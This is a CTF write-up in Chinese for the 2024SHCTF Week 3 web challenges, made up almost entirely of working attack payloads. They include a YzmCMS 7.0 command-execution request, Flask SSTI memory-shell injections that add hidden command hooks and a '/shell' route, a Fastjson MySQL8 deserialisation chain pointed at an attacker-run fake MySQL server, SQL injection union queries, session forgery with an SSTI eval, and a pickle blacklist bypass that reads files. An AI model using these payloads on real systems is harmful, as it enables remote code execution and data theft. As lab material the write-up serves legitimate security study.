2024SHCTF Week3 WEB
小小cms
YzmCMS 7.0任意函数调用RCE
搜索7.0版本rce发现可以命令执行
POST /pay/index/pay_callback
out_trade_no[0]=eq&out_trade_no[1]=cat+/f*&out_trade_no[2]=system
love_flask
无回显+不出网那么直接打内存马
打内存马
?name={% if url_for.__globals__['__builtins__']['eval']("app.before_request_funcs.setdefault(None, []).append(lambda : '<pre>{0}</pre>'.format(__import__('os').popen(request.args.get('cmd')).read()) if 'cmd'in request.args.keys() is not None else None ) ", {'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']}) %}benben{% endif%}
或者使用app.add_url_rule动态添加一个路由,请求上下文在_request_ctx_stack的栈里
{% if x.__init__.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}) %}1{% endif %}
或者使用after_request方法
{% if url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)", {'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']}) %}1{% endif %}
Json Flaw
题目提示是Fastjson的应用
有一个登录功能,我们抓包探测fastjson发现存在fastjson
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.apache.catalina.startup.Tomcat"
}
}
}
然后探测依赖包 mysql8
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "com.mysql.cj.protocol.AuthenticationProvider"
}
}
}
回显这样说明存在依赖
{"timestamp":"2024-10-28T03:41:39.862+0000","status":500,"error":"Internal Server Error","message":"create instance error, null, public com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy(com.mysql.cj.conf.ConnectionUrl) throws java.sql.SQLException","path":"/login"}
我们vps起一个fakemysql工具的服务
python3 server.py
然后打mysql8反序列化,读文件即可
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection","proxy":{"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy","connectionUrl":{ "@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl" , "masters": [{"host":"ip"}], "slaves":[], "properties":{"host":"ip","user":"fileread_/flag",
"port":"3307",
"dbname":"dbname","password":"pass","allowLoadLocalInfile":"true"}}}}
guess_the_number
这个题目由于种子的范围较小,我们可以直接爆破,然后求第二个随机值
爆破脚本
import flask
import random
from flask import Flask, request, render_template, send_file
for i in range(1000000,9999999):
random.seed(i)
first_num = random.randint(1000000000,9999999999)
if first_num ==1511211024:
print(i)
使用种子生成第二个随机数
import flask
import random
from flask import Flask, request, render_template, send_file
for i in range(1):
random.seed(5755283)
first_num = random.randint(1000000000,9999999999)
num = random.randint(1000000000,9999999999)
print(num)
自助查询
闭合绕过查询数据库得到ctf
1") union select 1,database()
接着查询数据表得到 flag,users
1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())
接着查询数据列得到id,scretdata
1") union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag')
查询字段值 发现flag在注释中
1") union select 1,(select group_concat(scretdata) from flag)
直接读字段注释即可
1") union select 1,(select column_comment from information_schema.columns where table_name='flag' and table_schema=database() limit 1,1)
入侵者禁入
from flask import Flask, session, request, render_template_string
app = Flask(__name__)
app.secret_key = '0day_joker'
@app.route('/')
def index():
session['role'] = {
'is_admin': 0,
'flag': 'your_flag_here'
}
with open(__file__, 'r') as file:
code = file.read()
return code
@app.route('/admin')
def admin_handler():
try:
role = session.get('role')
if not isinstance(role, dict):
raise Exception
except Exception:
return 'Without you, you are an intruder!'
if role.get('is_admin') == 1:
flag = role.get('flag') or 'admin'
message = "Oh,I believe in you! The flag is: %s" % flag
return render_template_string(message)
else:
return "Error: You don't have the power!"
if __name__ == '__main__':
app.run('0.0.0.0', port=80)
得到了key,并且还有ssti注入
session伪造,然后flag的值写为sstipayload
python2 flask_session_cookie_manager2.py encode -s "0day_joker" -t '{"role":{"flag":"{{lipsum[\"__globals__\"][\"__builtins__\"][\"eval\"](request.args.y)}}","is_admin":1}}'
然后进行传参命令执行
?y=__import__('os').popen('cat /f*').read()
dickle
题目给了源码如下
from flask import Flask, request
import pickle
import base64
import io
BLACKLISTED_CLASSES = [
'subprocess.check_output','builtins.eval','builtins.exec',
'os.system', 'os.popen', 'os.popen2', 'os.popen3', 'os.popen4',
'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
'subprocess.call', 'subprocess.check_call', 'subprocess.Popen',
'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus',
'pty.spawn', 'posixfile.open', 'posixfile.fileopen',
'__import__','os.spawn*','sh.Command','imp.load_module','builtins.compile'
'eval', 'builtins.execfile', 'compile', 'builtins.open', 'builtins.file', 'os.system',
'os.fdopen', 'os.tmpfile', 'os.fchmod', 'os.fchown', 'os.open', 'os.openpty', 'os.read', 'os.pipe',
'os.chdir', 'os.fchdir', 'os.chroot', 'os.chmod', 'os.chown', 'os.link', 'os.lchown', 'os.listdir',
'os.lstat', 'os.mkfifo', 'os.mknod', 'os.access', 'os.mkdir', 'os.makedirs', 'os.readlink', 'os.remove',
'os.removedirs', 'os.rename', 'os.renames', 'os.rmdir', 'os.tempnam', 'os.tmpnam', 'os.unlink', 'os.walk',
'os.execl', 'os.execle', 'os.execlp', 'os.execv', 'os.execve', 'os.dup', 'os.dup2', 'os.execvp', 'os.execvpe',
'os.fork', 'os.forkpty', 'os.kill', 'os.spawnl', 'os.spawnle', 'os.spawnlp', 'os.spawnlpe', 'os.spawnv',
'os.spawnve', 'os.spawnvp', 'os.spawnvpe', 'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
'subprocess.call', 'subprocess.check_call', 'subprocess.check_output', 'subprocess.Popen',
'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus', 'glob.glob',
'linecache.getline', 'shutil.copyfileobj', 'shutil.copyfile', 'shutil.copy', 'shutil.copy2', 'shutil.move',
'shutil.make_archive', 'popen2.popen2', 'popen2.popen3', 'popen2.popen4', 'timeit.timeit', 'sys.call_tracing',
'code.interact', 'code.compile_command', 'codeop.compile_command', 'pty.spawn', 'posixfile.open',
'posixfile.fileopen'
]
class SafeUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if f"{module}.{name}" in BLACKLISTED_CLASSES:
raise pickle.UnpicklingError("Forbidden class: %s.%s" % (module, name))
return super().find_class(module, name)
app = Flask(__name__)
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
encoded_data = request.form["data"]
decoded_data = base64.b64decode(encoded_data)
try:
data_stream = io.BytesIO(decoded_data)
unpickler = SafeUnpickler(data_stream)
result = unpickler.load()
return f"Deserialized data: {list(result)}"
except Exception as e:
return f"Error during deserialization: {str(e)}"
else:
return """
<form method="post">
<label for="data">Enter your serialized data:</label><br>
<textarea id="data" name="data"></textarea><br>
<input type="submit" value="Submit">
</form>
"""
if __name__ == "__main__":
app.run(port=8080)
由于题目用find_class来hook,我们需要找到黑名单以外的函数
这里我在sys的模块下用读文件函数成功绕过
payload如下
import pickle
import base64
import sys
import builtins
class A(object):
def __reduce__(self):
return (sys.modules['_frozen_importlib_external'].SourceFileLoader("flag","/flag").get_source,("flag",))
a = A()
print(base64.b64encode(pickle.dumps(a)))
0 条评论
可输入 255 字